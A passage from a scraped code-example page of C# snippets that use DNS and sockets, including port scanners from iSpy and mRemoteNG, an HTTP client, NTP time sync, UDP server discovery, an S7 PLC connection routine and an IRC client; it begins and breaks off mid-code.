            }
        }
コード例 #11
0
ファイル: Scanner.cs プロジェクト: John-Leitch/iSpy
        private void PortScanner(IEnumerable <int> ports, IPAddress ipaddress, ManualResetEvent mre)
        {
            string hostname = "Unknown";

            try
            {
                var ipToDomainName = Dns.GetHostEntry(ipaddress);
                hostname = ipToDomainName.HostName;
            }
            catch
            {
            }

            foreach (int iport in ports)
            {
                try
                {
                    string req     = ipaddress + ":" + iport;
                    var    request = (HttpWebRequest)WebRequest.Create("http://" + req);
                    request.Referer           = "";
                    request.Timeout           = 3000;
                    request.UserAgent         = "Mozilla/5.0";
                    request.AllowAutoRedirect = false;
                    request.KeepAlive         = false;

                    HttpWebResponse response = null;

                    try
                    {
                        response = (HttpWebResponse)request.GetResponse();
                    }
                    catch (WebException e)
                    {
                        response = (HttpWebResponse)e.Response;
                    }
                    catch (Exception ex)
                    {
                        Logger.LogMessage("Web error from " + ipaddress + ":" + iport + " " + ex.Message, "NetworkDiscovery");
                    }
                    if (response != null)
                    {
                        Logger.LogMessage("Web response from " + ipaddress + ":" + iport + " " +
                                          response.StatusCode, "NetworkDiscovery");
                        if (response.Headers != null)
                        {
                            string webserver = "yes";
                            foreach (string k in response.Headers.AllKeys)
                            {
                                if (k.ToLower().Trim() == "server")
                                {
                                    webserver = response.Headers[k];
                                }
                            }
                            int iport1 = iport;
                            if (DeviceFound != null)
                            {
                                var nd = new NetworkDevice(ipaddress, iport1, hostname, webserver);
                                DeviceFound(this, new DeviceFoundEventArgs(nd));
                            }
                        }
                    }
                }
                catch (Exception ex)
                {
                    Logger.LogMessage("Web error from " + ipaddress + ":" + iport + " " + ex.Message, "NetworkDiscovery");
                }
            }
            mre.Set();
        }
コード例 #12
0
    protected void Page_Load(object sender, EventArgs e)
    {
        if (!IsPostBack)
        {
            title.Text = sysParamBL.FindSingle(x => x.Name == "title").Val;
        }

        string IP = GetLanIPAddress();

        if (string.IsNullOrEmpty(IP) || IP.Contains('%'))
        {
            IP = GetVisitorIpAddress();
        }
        if (HttpContext.Current.User.Identity.IsAuthenticated)
        {
            t_Users user     = new t_Users();
            string  username = HttpContext.Current.User.Identity.Name;
            // Update name - Pi-solution developer
            lbUserName.Text = username;
            t_Users dbUser = _userBL.GetUser(username);
            user        = dbUser;
            user.Active = true;
            string hostName = Dns.GetHostName();
            user.Ip        = Dns.GetHostAddresses(hostName).GetValue(0).ToString();
            user.Ip        = IP;
            user.TimeStamp = DateTime.Now;
            _userBL.UpdateUser(user, dbUser);
            string role = user.Role;
            //RoleFunciton
            t_RoleFunction _functions = new t_RoleFunction();
            List <int>     dbfunction = (from a in _roleFunctionBL.FindAll(s => s.Role == role && s.Active == true).ToList() select a.FunctionId).ToList();
            //URL by Role
            List <string> fun = (from q in languageobj.FindAll(s => dbfunction.Contains(s.FunctionId)).ToList() select q.URL).ToList();
            hidListMenu.Value = "@";
            foreach (var _f in fun)
            {
                hidListMenu.Value = hidListMenu.Value + _f + "@";
            }

            lnkMapJS.Attributes.Add("href", "/Consumer/Logger/MapJS_rev1.aspx?uid=" + username);
        }
        else
        {
            Response.Redirect("~/Login.aspx");
        }

        // Update logo
        var sysParamList = sysParamBL.FindAll().ToList();
        var var0         = sysParamList.Where(x => x.ID == 2).FirstOrDefault();

        imgLogo.Src = (var0 == null) ? "" : var0.Val;
        // Update Company name
        var var01 = sysParamList.Where(x => x.Name == "company_name").FirstOrDefault();

        lbCompany.Text = (var01 == null) ? "" : var01.Val;


        // Programming language - Pi solution
        if (Session["myapplication.language"] != null)
        {
            language = (Session["myapplication.language"]).ToString();
            if (!IsPostBack)
            {
                // Set drop down current language
                DropDownList_Language.ClearSelection();
                DropDownList_Language.Items.FindByValue(Session["myapplication.language"].ToString()).Selected = true;
            }

            // Load Language from SQL database
            var functionList = languageobj.FindAll(x => x.Language == language).ToList();
            List <t_LanguageTranslate> contentList = languageBL.FindAll(x => x.Language == language && x.Noted.Contains("title_homepage")).ToList();
            var var001 = contentList.Where(x => x.ControlId.Contains("title_homepage")).FirstOrDefault();;
            lbPageTitle.Text = (var001 == null) ? "" : var001.Contents;
            Page.Title       = lbPageTitle.Text;

            var var1 = functionList.Where(x => x.URL.Contains("MapJS_rev1.aspx")).FirstOrDefault();
            lbGeneralMap.Text = (var1 == null) ? "" : var1.FunctionName;
            var var2 = functionList.Where(x => x.URL.Contains("MapJS_rev1_DMA.aspx")).FirstOrDefault();
            //lbDMAMap.Text = (var2 == null) ? "" : var2.FunctionName;
            //var var3 = functionList.Where(x => x.ParentId == 3).FirstOrDefault();
            //lbData.Text = (var3 == null) ? "" : var3.FunctionName;

            t_Function var4 = functionList.Where(x => x.URL.Contains("Complex_TA.aspx")).FirstOrDefault();
            lbDataTable.Text = (var4 == null) ? "" : var4.FunctionName;
            var var5 = functionList.Where(x => x.URL.Contains("Daily_Monthly.aspx")).FirstOrDefault();
            lbLoggerData.Text = (var5 == null) ? "" : var5.FunctionName;
            var var6 = functionList.Where(x => x.URL.Contains("Add_Change.aspx")).FirstOrDefault();
            //lbManualData.Text = (var6 == null) ? "" : var6.FunctionName;
            //var var7 = functionList.Where(x => x.URL.Contains("MinMaxVal.aspx")).FirstOrDefault();
            //lbMinMaxValues.Text = (var7 == null) ? "" : var7.FunctionName;
            //var var8 = functionList.Where(x => x.ParentId == 4).FirstOrDefault();
            //lbReport.Text = (var8 == null) ? "" : var8.FunctionName;
            //var var9 = functionList.Where(x => x.URL.Contains("Press.aspx")).FirstOrDefault();
            //lbPressure.Text = (var9 == null) ? "" : var9.FunctionName;
            //var var10 = functionList.Where(x => x.URL.Contains("Montly.aspx")).FirstOrDefault();
            //lbVolume.Text = (var10 == null) ? "" : var10.FunctionName;
            //var var11 = functionList.Where(x => x.ParentId == 5).FirstOrDefault();
            //blEAndsL.Text = (var11 == null) ? "" : var11.FunctionName;
            //var var12 = functionList.Where(x => x.URL.Contains("All.aspx")).FirstOrDefault();
            //lbEquipments.Text = (var12 == null) ? "" : var12.FunctionName;
            //var var13 = functionList.Where(x => x.URL.Contains("Config.aspx")).FirstOrDefault();
            //lbInstallationPoints.Text = (var1 == null) ? "" : var13.FunctionName;
            //var var14 = functionList.Where(x => x.ParentId == 6).FirstOrDefault();
            //lbAdminPanel.Text = (var14 == null) ? "" : var14.FunctionName;
            //var var15 = functionList.Where(x => x.URL.Contains("ViewUsers.aspx")).FirstOrDefault();
            //lbViewUserDetails.Text = (var15 == null) ? "" : var15.FunctionName;
            //var var16 = functionList.Where(x => x.URL.Contains("CreateUser.aspx")).FirstOrDefault();
            //lbCreateUsers.Text = (var16 == null) ? "" : var16.FunctionName;
            //var var17 = functionList.Where(x => x.URL.Contains("SettingSMS.aspx")).FirstOrDefault();
            //lbMessageSettings.Text = (var17 == null) ? "" : var17.FunctionName;
            //var var18 = functionList.Where(x => x.URL.Contains("ChangePassword.aspx")).FirstOrDefault();
            //lbChangePassword.Text = (var18 == null) ? "" : var18.FunctionName;
            //var var19 = functionList.Where(x => x.ParentId == 8).FirstOrDefault();
            //lbLanguageManagement.Text = (var19 == null) ? "" : var19.FunctionName;
            //var var20 = functionList.Where(x => x.URL.Contains("ChangeFunction.aspx")).FirstOrDefault();
            //lbFunctions.Text = (var20 == null) ? "" : var20.FunctionName;
            //var var21 = functionList.Where(x => x.URL.Contains("ChangeContent.aspx")).FirstOrDefault();
            //lbContents.Text = (var21 == null) ? "" : var21.FunctionName;

            //var var22 = functionList.Where(x => x.ParentId == 9).FirstOrDefault();
            //lbConfigSystem.Text = (var22 == null) ? "" : var22.FunctionName;
            //var var23 = functionList.Where(x => x.URL.Contains("System/General.aspx")).FirstOrDefault();
            //lbGeneralSystem.Text = (var23 == null) ? "" : var23.FunctionName;
            //var var24 = functionList.Where(x => x.URL.Contains("System/Users.aspx")).FirstOrDefault();
            //lbUserManagement.Text = (var24 == null) ? "" : var24.FunctionName;
            //var var25 = functionList.Where(x => x.URL.Contains("System/Roles.aspx")).FirstOrDefault();
            //lbRoleManagement.Text = (var25 == null) ? "" : var25.FunctionName;
            //var var26 = functionList.Where(x => x.URL.Contains("System/RoleFunction.aspx")).FirstOrDefault();
            //lbRoleFunctionManagement.Text = (var26 == null) ? "" : var26.FunctionName;
        }
    }
コード例 #13
0
ファイル: PortScanner.cs プロジェクト: 756616071/mRemoteNG
        /* Some examples found here:
         * http://stackoverflow.com/questions/2114266/convert-ping-application-to-multithreaded-version-to-increase-speed-c-sharp
         */
        private void PingSender_PingCompleted(object sender, PingCompletedEventArgs e)
        {
            // used for clean up later...
            var p = (Ping)sender;

            // UserState is the IP Address
            var ip       = e.UserState.ToString();
            var scanHost = new ScanHost(ip);

            _hostCount++;

            Runtime.MessageCollector.AddMessage(MessageClass.InformationMsg,
                                                $"Tools.PortScan: Scanning {_hostCount} of {_ipAddresses.Count} hosts: {scanHost.HostIp}",
                                                true);


            if (e.Cancelled)
            {
                Runtime.MessageCollector.AddMessage(MessageClass.InformationMsg,
                                                    $"Tools.PortScan: CANCELLED host: {scanHost.HostIp}", true);
                // cleanup
                p.PingCompleted -= PingSender_PingCompleted;
                p.Dispose();
                return;
            }

            if (e.Error != null)
            {
                Runtime.MessageCollector.AddMessage(MessageClass.InformationMsg,
                                                    $"Ping failed to {e.UserState} {Environment.NewLine} {e.Error.Message}",
                                                    true);
                scanHost.ClosedPorts.AddRange(_ports);
                scanHost.SetAllProtocols(false);
            }
            else if (e.Reply.Status == IPStatus.Success)
            {
                /* ping was successful, try to resolve the hostname */
                try
                {
                    scanHost.HostName = Dns.GetHostEntry(scanHost.HostIp).HostName;
                }
                catch (Exception dnsex)
                {
                    Runtime.MessageCollector.AddMessage(MessageClass.InformationMsg,
                                                        $"Tools.PortScan: Could not resolve {scanHost.HostIp} {Environment.NewLine} {dnsex.Message}",
                                                        true);
                }

                if (string.IsNullOrEmpty(scanHost.HostName))
                {
                    scanHost.HostName = scanHost.HostIp;
                }

                foreach (var port in _ports)
                {
                    bool isPortOpen;
                    try
                    {
                        var tcpClient = new TcpClient(ip, port);
                        isPortOpen = true;
                        scanHost.OpenPorts.Add(port);
                        tcpClient.Close();
                    }
                    catch (Exception)
                    {
                        isPortOpen = false;
                        scanHost.ClosedPorts.Add(port);
                    }

                    if (port == ScanHost.SshPort)
                    {
                        scanHost.Ssh = isPortOpen;
                    }
                    else if (port == ScanHost.TelnetPort)
                    {
                        scanHost.Telnet = isPortOpen;
                    }
                    else if (port == ScanHost.HttpPort)
                    {
                        scanHost.Http = isPortOpen;
                    }
                    else if (port == ScanHost.HttpsPort)
                    {
                        scanHost.Https = isPortOpen;
                    }
                    else if (port == ScanHost.RloginPort)
                    {
                        scanHost.Rlogin = isPortOpen;
                    }
                    else if (port == ScanHost.RdpPort)
                    {
                        scanHost.Rdp = isPortOpen;
                    }
                    else if (port == ScanHost.VncPort)
                    {
                        scanHost.Vnc = isPortOpen;
                    }
                }
            }
            else if (e.Reply.Status != IPStatus.Success)
            {
                Runtime.MessageCollector.AddMessage(MessageClass.InformationMsg,
                                                    $"Ping did not complete to {e.UserState} : {e.Reply.Status}", true);
                scanHost.ClosedPorts.AddRange(_ports);
                scanHost.SetAllProtocols(false);
            }

            // cleanup
            p.PingCompleted -= PingSender_PingCompleted;
            p.Dispose();

            var h = string.IsNullOrEmpty(scanHost.HostName) ? "HostNameNotFound" : scanHost.HostName;

            Runtime.MessageCollector.AddMessage(MessageClass.InformationMsg,
                                                $"Tools.PortScan: Scan of {scanHost.HostIp} ({h}) complete.", true);

            _scannedHosts.Add(scanHost);
            RaiseHostScannedEvent(scanHost, _hostCount, _ipAddresses.Count);

            if (_scannedHosts.Count == _ipAddresses.Count)
            {
                RaiseScanCompleteEvent(_scannedHosts);
            }
        }
コード例 #14
0
 public Client(string host, UInt16 port) : this(Dns.GetHostEntry(host).AddressList[0], port)
 {
 }
コード例 #15
0
    // Perform the HTTP hit and return the result!
    public HttpResponse GetResponse()
    {
        //
        // Step 1: Connect to the remote server
        //
        Socket httpSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream,
                                       ProtocolType.Tcp);

        string serverName, requestUri;
        int    serverPort;

        if (proxyPort > 0)
        {
            serverName = proxyHost;
            serverPort = proxyPort;
            requestUri = fRequestUri; // Use the full URI
        }
        else
        {
            serverName = fHost;
            serverPort = fHostPort;
            requestUri = fResource; // Use just the resource
        }

        IPAddress serverAddress;

        try {
            serverAddress = IPAddress.Parse(serverName);
        }
        catch (Exception) {
            // Hostname didn't parse as an IP address; try to resolve it
            IPHostEntry !entry     = (!)Dns.Resolve(serverName);
            IPAddress[] !addresses = (!)entry.AddressList;

            if (addresses.Length == 0)
            {
                throw new Exception("Couldn't resolve host name");
            }

            serverAddress = addresses[0];
        }

        IPEndPoint serverEndpoint = new IPEndPoint(serverAddress, serverPort);

        // Connect to the remote server
        httpSocket.Connect(serverEndpoint);

        //
        // Step 2: Formulate and transmit the request line and any supporting data
        //
        // Send the request line
        string requestLine = fMethod + " " + requestUri + " HTTP/1.1\r\nHost: " +
                             fHost + "\r\nConnection: Close\r\n";

        // Send an indication of the request data content type and size, if appropriate
        if (fRequestData != null)
        {
            requestLine += "Content-Length: " + fRequestData.Length + "\r\n" +
                           "Content-Type: " + fContentType + "\r\n";
        }

        // Add any user-specified headers
        foreach (string !headerName in fRequestHeaders.Keys)
        {
            requestLine += headerName + ": " + fRequestHeaders[headerName] + "\r\n";
        }

        requestLine += "\r\n";
        byte[] requestBytes = Encoding.ASCII.GetBytes(requestLine);
        httpSocket.Send(requestBytes);

        // Send any request data
        if (fRequestData != null)
        {
            httpSocket.Send(fRequestData);
        }

        // Signal we're done sending
        httpSocket.Shutdown(SocketShutdown.Send);

        //
        // Step 3: Parse the response line and headers
        //

        // Pump the response into an HttpHeadersParser
        ByteBuffer        scratchBuffer = new ByteBuffer();
        HttpHeadersParser headerParser = new HttpHeadersParser(scratchBuffer);
        bool         doneWithout100Continue = false, doneWithHeaders = false;
        int          nextWritePos = 0;
        HttpResponse response = null;

        do
        {
            while (!doneWithHeaders)
            {
                // Make 2K available for each read
                scratchBuffer.EnsureSize(nextWritePos + readIncrementSize);
                int numReadBytes = httpSocket.Receive(scratchBuffer.UnderlyingBuffer, nextWritePos,
                                                      scratchBuffer.Size - nextWritePos, SocketFlags.None);

                if (numReadBytes == 0)
                {
                    // We ran out of data before we finished parsing headers.
                    throw new Exception("Unexpected end of data");
                }

                nextWritePos += numReadBytes;

                if (headerParser.Pump(nextWritePos))
                {
                    // Finished parsing headers!
                    response        = headerParser.GetResponse();
                    doneWithHeaders = true;
                }
            }

            if (response == null)
            {
                throw new Exception("HTTP response data unexpectedly null");
            }

            // Special case: if we see a 100-continue, we want to carefully start
            // over at the next chunk of data!
            if (response.StatusCode == 100)
            {
                // Switch to a new scratch buffer that will contain the data
                // following the 100-continue.
                int        remainderBeginning = headerParser.BodyDataOffset;
                int        remainderLength    = nextWritePos - remainderBeginning;
                ByteBuffer newScratch         = new ByteBuffer();
                ByteBuffer oldScratch         = scratchBuffer;

                // Reset parsing by creating a new parser
                headerParser = new HttpHeadersParser(newScratch);

                // Switch over!
                scratchBuffer = newScratch;
                nextWritePos  = remainderLength;

                if (remainderLength > 0)
                {
                    // Copy the beginning of the next data chunk into newScratch
                    newScratch.EnsureSize(remainderLength);
                    Buffer.BlockCopy(oldScratch.UnderlyingBuffer, remainderBeginning,
                                     newScratch.UnderlyingBuffer, 0, remainderLength);

                    // Make sure the fragment we were already holding gets pumped in
                    if (headerParser.Pump(nextWritePos))
                    {
                        // Interestingly, we're already done
                        response = headerParser.GetResponse();
                        if (response == null)
                        {
                            throw new Exception("HTTP response data unexpectedly null");
                        }
                        Debug.Assert(response.StatusCode != 100);
                        doneWithout100Continue = true;
                    }
                    else
                    {
                        // Go back and carry on
                        doneWithHeaders = false;
                    }
                }
                else
                {
                    // The chunk we were chewing on exactly contained the 100-continue,
                    // so we definitely need to go back and read some more...
                    doneWithHeaders = false;
                }
            }
            else
            {
                // The response was not 100-continue, so we're all done
                doneWithout100Continue = true;
            }
        }while (!doneWithout100Continue);

        //
        // Step 4: Process the body data
        //
        // Now figure out how we're going to deal with the actual body
        // of the response. We almost certainly already have an initial
        // chunk of the body data in the scratchBuffer, since we read the
        // headers in 2K chunks
        //
        int bodyScratchBeginning = headerParser.BodyDataOffset;
        int scratchBodyLength    = nextWritePos - bodyScratchBeginning;

        string transferEncoding = response.GetHeader("Transfer-Encoding");

        if (transferEncoding != null &&
            transferEncoding.ToLower().Equals("chunked"))
        {
            // Chunked encoding is special: the beginning of the body data
            // already specifies some chunk information. Run this through our
            // chunk decoder to straighten it out.
            byte[] initialBodyChunk           = scratchBuffer.TrimAndCopy(bodyScratchBeginning, scratchBodyLength);
            ChunkedEncodingParser chunkParser = new ChunkedEncodingParser(initialBodyChunk, httpSocket);
            ByteBuffer            bodyData    = chunkParser.Run();
            response.BodyData = bodyData.TrimAndCopy(bodyData.Size);
        }
        else
        {
            ByteBuffer bodyBuffer;

            // Non-chunked encoding. First, move the beginning of the body
            // data to a new ByteBuffer for sanity.
            // Separate out any initial body data into a new ByteBuffer, for sanity
            int bodySize = (response.ContentLength > 0) ? response.ContentLength : bodySizeGuess;

            // Hard to imagine how this would happen...
            if (bodySize < scratchBodyLength)
            {
                bodySize = scratchBodyLength;
            }

            bodyBuffer = new ByteBuffer(bodySize);
            Buffer.BlockCopy(scratchBuffer.UnderlyingBuffer, bodyScratchBeginning,
                             bodyBuffer.UnderlyingBuffer, 0, scratchBodyLength);
            int nextBodyPos = scratchBodyLength;

            if (response.ContentLength > 0)
            {
                // Read until we've gotten exactly the expected number of bytes
                int bodyDataLeft = response.ContentLength - scratchBodyLength;

                while (bodyDataLeft > 0)
                {
                    int numReadBytes = httpSocket.Receive(bodyBuffer.UnderlyingBuffer, nextBodyPos,
                                                          bodyDataLeft, SocketFlags.None);

                    if (numReadBytes == 0)
                    {
                        throw new Exception("Connection closed unexpectedly");
                    }

                    nextBodyPos  += numReadBytes;
                    bodyDataLeft -= numReadBytes;
                }
            }
            else
            {
                // No indicated ContentLength; Just read until the connection gets closed!
                int numReadBytes = 0;

                // Read until the remote side closes
                do
                {
                    bodyBuffer.EnsureSize(bodyBuffer.Size + readIncrementSize);
                    numReadBytes = httpSocket.Receive(bodyBuffer.UnderlyingBuffer, nextBodyPos,
                                                      bodyBuffer.Size - nextBodyPos, SocketFlags.None);
                    nextBodyPos += numReadBytes;
                }while (numReadBytes > 0);
            }

            response.BodyData = bodyBuffer.TrimAndCopy(nextBodyPos);
        }

        // All done!
        httpSocket.Close();

        return(response);
    }
コード例 #16
0
ファイル: Program.cs プロジェクト: TheNaked/Firewind
        private static bool CheckHost()
        {
            string ip = Dns.GetHostAddresses("getfirewind.com")[0].ToString();

            return(true);
        }
コード例 #17
0
    /// <summary>
    /// Sets the System Time from the Internet
    /// </summary>
    /// <param name="dateTime"></param>
    /// <param name="TimeZoneOffset">Offset of Time Zone from UTC time</param>
    public static void SetFromNetwork(this DateTime dateTime, TimeSpan TimeZoneOffset)
    {
        // Based on http://weblogs.asp.net/mschwarz/archive/2008/03/09/wrong-datetime-on-net-micro-framework-devices.aspx
        // And http://nickstips.wordpress.com/2010/02/12/c-get-nist-internet-time/
        // Time server list: http://tf.nist.gov/tf-cgi/servers.cgi

        //var ran = new Random(DateTime.Now.Millisecond);

        var servers = new string[] { "time-a.nist.gov", "time-b.nist.gov", "nist1-la.ustiming.org", "nist1-chi.ustiming.org",
                                     "nist1-ny.ustiming.org", "time-nw.nist.gov", "nist1-atl.ustiming.org", "nist.netservicesgroup.com" };

        Debug.Print("Setting Date and Time from Network");

        // Try each server in random order to avoid blocked requests due to too frequent request

        //for (int i = 0; i < servers.Length; i++)
        {
            try
            {
                // Open a Socket to a random time server
                //var ep = new IPEndPoint(Dns.GetHostEntry(servers[ran.Next(servers.Length)]).AddressList[0], 123);
                //gg: Instead of random approach, let's use a stable NIST
                var ep = new IPEndPoint(Dns.GetHostEntry(servers[7]).AddressList[0], 123);

                var s = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                s.Connect(ep);

                byte[] ntpData = new byte[48];     // RFC 2030
                ntpData[0] = 0x1B;
                for (int x = 1; x < 48; x++)
                {
                    ntpData[x] = 0;
                }

                s.Send(ntpData);
                s.Receive(ntpData);

                byte  offsetTransmitTime = 40;
                ulong intpart            = 0;
                ulong fractpart          = 0;
                for (int x = 0; x <= 3; x++)
                {
                    intpart = 256 * intpart + ntpData[offsetTransmitTime + x];
                }

                for (int x = 4; x <= 7; x++)
                {
                    fractpart = 256 * fractpart + ntpData[offsetTransmitTime + x];
                }

                ulong milliseconds = (intpart * 1000 + (fractpart * 1000) / 0x100000000L);

                s.Close();

                //TODO: Compute the Digest and compare to that included to do a real check...
                if (ntpData[47] != 0)
                {
                    TimeSpan timeSpan     = TimeSpan.FromTicks((long)milliseconds * TimeSpan.TicksPerMillisecond);
                    DateTime tempDateTime = new DateTime(1900, 1, 1);
                    tempDateTime += timeSpan;

                    DateTime networkDateTime = (tempDateTime + TimeZoneOffset);
                    Debug.Print(networkDateTime.ToString());
                    Utility.SetLocalTime(networkDateTime);

                    //break;
                }
            }
            catch (Exception)
            {
                /* Do Nothing...try the next server */
                status = false;
            }

            // Check to see that the signature is there
        }
    }
コード例 #18
0
 public static void workThread()
 {
     #region 获取本地可用IP地址
     strLocalHAddr = null;
     IPHostEntry ipHostInfo = Dns.GetHostEntry(Dns.GetHostName());
     //检测可用网卡网关值,确定是否可用
     NetworkInterface[] NetWorkInterfaces = NetworkInterface.GetAllNetworkInterfaces();
     foreach (NetworkInterface NetworkIntf in NetWorkInterfaces)
     {
         IPInterfaceProperties IpInterPro = NetworkIntf.GetIPProperties();
         UnicastIPAddressInformationCollection uniIPAInfoCol = IpInterPro.UnicastAddresses;
         foreach (UnicastIPAddressInformation UniCIPAInfo in uniIPAInfoCol)
         {
             if ((UniCIPAInfo.Address.AddressFamily == AddressFamily.InterNetwork) && (UniCIPAInfo.IPv4Mask != null))
             {
                 if (IpInterPro.GatewayAddresses.Count != 0)
                 {
                     //IpInterPro.GatewayAddresses的count为0,所以[0]也超出索引范围
                     //所以先将网关地址做长度判断
                     if (IpInterPro.GatewayAddresses[0].Address.ToString().CompareTo("0.0.0.0") != 0)
                     {
                         strLocalHAddr = UniCIPAInfo.Address.ToString();
                         break;
                     }
                 }
             }
         }
     }
     if (strLocalHAddr == null)
     {
         //无可用网络
         MessageBox.Show("无可用网络连接,请检查网络");
     }
     else
     {
         strLocalHAddr = strLocalHAddr.Substring(0, strLocalHAddr.LastIndexOf('.') + 1) + "255";
     }
     #endregion 获取本地可用IP地址
     #region 绑定查找服务的UDP对象
     udpSearchRecvDataBuf = new byte[1024];
     sockUdpSearchRecv    = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
     //绑定接收服务器UDP数据的RECV_PORT端口
     IPEndPoint iep = new IPEndPoint(IPAddress.Any, 9096);
     sockUdpSearchRecv.Bind(iep);
     remoteUdpEp = new IPEndPoint(IPAddress.Any, 0);
     sockUdpSearchRecv.BeginReceiveFrom(udpSearchRecvDataBuf, 0, 1024, SocketFlags.None, ref remoteUdpEp, UdpSearchReceiveCallback, new object());
     #endregion
     #region 发送广播包查找服务器
     //创建使用UDP发送数据的Socket对象
     sockUdpSearchSend = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
     //设置该socket实例的发送形式
     sockUdpSearchSend.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.Broadcast, 1);
     SearchServerIpEP = new IPEndPoint(IPAddress.Parse(strLocalHAddr), SEARCH_SEND_PORT);
     udpDataSendBuf   = Encoding.UTF8.GetBytes("are you online?");
     sendDataLen      = udpDataSendBuf.Length;
     //向服务器发送探测包
     sockUdpSearchSend.SendTo(udpDataSendBuf, sendDataLen, SocketFlags.None, SearchServerIpEP);
     //等待服务器响应
     ManualResetEvent[] mrEventAl = new ManualResetEvent[2];
     mrEventAl[0] = mrEventGotServer;
     mrEventAl[1] = mrEventTermiThread;
     int eventIndex = WaitHandle.WaitAny(mrEventAl, 500);
     while (eventIndex != 1)
     {
         eventIndex = WaitHandle.WaitAny(mrEventAl, 500);
     }
     #endregion
 }
コード例 #19
0
ファイル: PLC.cs プロジェクト: 0000duck/S7.NET-automated
        public ExceptionCode Open()
        {
            byte[] bReceive = new byte[256];

            try {
                // check if available
                Ping      p          = new Ping();
                PingReply pingReplay = p.Send(IP);
                if (pingReplay.Status != IPStatus.Success)
                {
                    throw new Exception();
                }
            }
            catch
            {
                lastErrorCode = ExceptionCode.IPAdressNotAvailable;
                //lastErrorString = "Destination IP-Address '" + IP + "' is not available!";
                lastErrorString = "Địa chỉ IP '" + IP + "' không tồn tại!";
                return(lastErrorCode);
            }

            try {
                // open the channel
                mSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

                mSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, 3000);
                mSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.SendTimeout, 3000);

                IPEndPoint _server = new IPEndPoint(new IPAddress(IPToByteArray(IP)), 102);
                //Dns.GetHostEntry(mIP).AddressList(0), 102)
                IPEndPoint _local = new IPEndPoint(Dns.GetHostEntry(Dns.GetHostName()).AddressList[0], 102);
                mSocket.Connect(_server);
            }
            catch (Exception ex) {
                lastErrorCode   = ExceptionCode.ConnectionError;
                lastErrorString = ex.Message;
                return(ExceptionCode.ConnectionError);
            }

            try {
                byte[] bSend1 = { 3,   0, 0, 22, 17, 224, 0, 0, 0,  46,
                                  0, 193, 2,  1,  0, 194, 2, 3, 0, 192,
                                  1, 9 };
                switch (CPU)
                {
                case CPU_Type.S7200:
                    //S7200: Chr(193) & Chr(2) & Chr(16) & Chr(0) 'Eigener Tsap
                    bSend1[11] = 193;
                    bSend1[12] = 2;
                    bSend1[13] = 16;
                    bSend1[14] = 0;
                    //S7200: Chr(194) & Chr(2) & Chr(16) & Chr(0) 'Fremder Tsap
                    bSend1[15] = 194;
                    bSend1[16] = 2;
                    bSend1[17] = 16;
                    bSend1[18] = 0;
                    break;

                case CPU_Type.S71200:
                case CPU_Type.S7300:
                    //S7300: Chr(193) & Chr(2) & Chr(1) & Chr(0)  'Eigener Tsap
                    bSend1[11] = 193;
                    bSend1[12] = 2;
                    bSend1[13] = 1;
                    bSend1[14] = 0;
                    //S7300: Chr(194) & Chr(2) & Chr(3) & Chr(2)  'Fremder Tsap
                    bSend1[15] = 194;
                    bSend1[16] = 2;
                    bSend1[17] = 3;
                    bSend1[18] = (byte)(Rack * 2 * 16 + Slot);
                    break;

                case CPU_Type.S7400:
                    //S7400: Chr(193) & Chr(2) & Chr(1) & Chr(0)  'Eigener Tsap
                    bSend1[11] = 193;
                    bSend1[12] = 2;
                    bSend1[13] = 1;
                    bSend1[14] = 0;
                    //S7400: Chr(194) & Chr(2) & Chr(3) & Chr(3)  'Fremder Tsap
                    bSend1[15] = 194;
                    bSend1[16] = 2;
                    bSend1[17] = 3;
                    bSend1[18] = (byte)(Rack * 2 * 16 + Slot);
                    break;

                default:
                    return(ExceptionCode.WrongCPU_Type);
                }
                mSocket.Send(bSend1, 22, SocketFlags.None);

                if (mSocket.Receive(bReceive, 22, SocketFlags.None) != 22)
                {
                    throw new Exception(ExceptionCode.WrongNumberReceivedBytes.ToString());
                }

                byte[] bsend2 = { 3,   0,   0, 25, 2, 240, 128,  50, 1, 0,
                                  0, 255, 255,  0, 8,   0,   0, 240, 0, 0,
                                  3,   0,   3,  1, 0 };
                mSocket.Send(bsend2, 25, SocketFlags.None);

                if (mSocket.Receive(bReceive, 27, SocketFlags.None) != 27)
                {
                    throw new Exception(ExceptionCode.WrongNumberReceivedBytes.ToString());
                }
                IsConnected = true;
            }
            catch
            {
                lastErrorCode = ExceptionCode.ConnectionError;
                //lastErrorString = "Couldn't establish the connection!";
                lastErrorString = "Không thể thành lập được kết nối tới PLC!";
                IsConnected     = false;
                return(ExceptionCode.ConnectionError);
            }

            return(ExceptionCode.ExceptionNo);
            // ok
        }
コード例 #20
0
        public Client(string hostname, int port, string nick, string username, string password, string realname,
                      bool ssl, bool sasl = false, string saslMechanism = "", string certpath = "")
        {
            _nick = nick;

            var ip         = Dns.GetHostEntry(hostname).AddressList[0];
            var connection = new Connection(port, ip, ssl, certpath);

            Events.RawMessage += ParseRawMessage;

            if (!String.IsNullOrEmpty(password.Trim()) && !sasl)
            {
                connection.Send("PASS " + password);
            }
            connection.Send("NICK " + _nick);
            connection.Send("USER " + username + " 0 * :" + realname);

            connection.Send("CAP LS 302");

            if (sasl)
            {
                while (_supportedCapabilities.Count < 1)
                {
                    ;
                }
                if (_supportedCapabilities.Contains("sasl"))
                {
                    connection.Send("CAP REQ :sasl");
                }
                else
                {
                    return;
                }
                while (!_acknowledgedCapabilities.Contains("sasl"))
                {
                    var capstring = "";
                    _acknowledgedCapabilities.ForEach(strin => capstring += $"{strin} ");
                    //Console.WriteLine($"Acknowledged Capabilities while waiting for sasl: {capstring}");
                }
                connection.Send($"AUTHENTICATE {saslMechanism}");
                while (!_authInProgress)
                {
                    ;
                }
                switch (saslMechanism)
                {
                case "EXTERNAL": {
                    connection.Send("AUTHENTICATE +");
                    break;
                }

                case "PLAIN": {
                    var bytes      = Encoding.UTF8.GetBytes($"{username}\0{username}\0{password}");
                    var setsNeeded = (int)Math.Ceiling(bytes.Length / 400D);
                    var byteSets   = new byte[setsNeeded][];
                    for (var i = 0; i < setsNeeded; i++)
                    {
                        byteSets[i] = new byte[398];
                        var sizeRemainig = bytes.Length - 398 * Math.Max(i - 1, 0);
